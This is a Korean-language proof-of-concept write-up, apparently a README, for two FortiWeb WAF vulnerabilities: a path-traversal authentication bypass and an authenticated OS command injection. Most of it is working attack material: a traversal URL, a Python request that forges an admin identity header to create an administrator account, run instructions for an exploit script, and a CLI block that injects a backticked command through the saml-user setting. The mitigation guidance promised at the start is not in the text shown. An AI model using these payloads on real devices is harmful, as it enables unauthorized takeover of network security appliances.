
FortiWeb CVE에 대한 PoC 익스플로잇: 경로 탐색을 통한 인증 우회 및 인증된 OS 명령 주입. 보안 테스팅을 위한 상세 분석, 페이로드 및 완화 지침 포함.
FortiWeb은 웹 애플리케이션을 보호하는 데 사용되는 Web Application Firewall(WAF) 장치입니다.
2025년에 두 가지 심각한 취약점이 발견되었습니다:
| 항목 | 내용 |
|---|---|
| 취약점 유형 | Relative Path Traversal Authentication Bypass |
| 원인 | FortiWeb이 인증 전에 경로를 엄격하게 처리하지 않음: - 논리적 경로 문자열을 기반으로 한 접근 제어 - 전체 경로를 정규화하지 않음 - ../를 사용하여 내부 리소스에 접근 허용 |
| 설명 | 일부 관리 엔드포인트가 유효한 인증 없이도 접근될 수 있음 |
| 영향 | - 완전한 인증 우회 - 관리 기능에 대한 무단 접근 - 권한 모델 붕괴 |
| 영향을 받는 버전 | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.4 - 7.4.0 – 7.4.9 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
예시:
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
이를 통해 라이브러리 버전 충돌을 방지하고, 작업 환경의 안정성을 보장하며, 시스템에 미치는 영향을 최소화할 수 있습니다.

페이로드
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': username,
'password': password,
'success': resp.status == 200
}
Python3로 도구 실행:
python3 exploit.py <IP_target>
<IP_target>: 여기서 IP 주소는 FortiWeb 장치의 호스트 이름입니다.
사용자 이름과 비밀번호 획득 -> 로그인 진행

익스플로잇에 성공하여 관리자 권한으로 새 계정을 생성했습니다.
새로 생성된 관리 계정으로 로그인한 후, 공격자는 특별히 제작된 요청을 통해 또는 FortiWeb CLI 명령줄 인터페이스를 통해 직접 인증된 명령 삽입 취약점을 익스플로잇할 수 있습니다:
config user saml-user
edit "`id`" ## nhập lệnh tại đây
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
FortiWeb은 구성 문자열을 빠져나와 saml-user 구성 중에 id 명령을 실행합니다.
| 항목 | 내용 |
|---|
| 취약점 유형 | OS Command Injection (CWE-78) |
| 원인 | FortiWeb이 운영 체제 명령을 실행할 때 입력을 안전하게 처리하지 않음: - 입력 검증 부족 - 특수 문자 이스케이프 누락 - 사용자 데이터를 시스템 명령에 직접 전달 |
| 설명 | 취약점은 인증이 필요하지만 시스템 명령 삽입을 허용함 |
| 영향 | - 의도하지 않은 명령 실행 - 시스템 리소스 접근 - 무결성 및 가용성 영향 |
| 영향을 받는 버전 | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.5 - 7.4.0 – 7.4.10 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |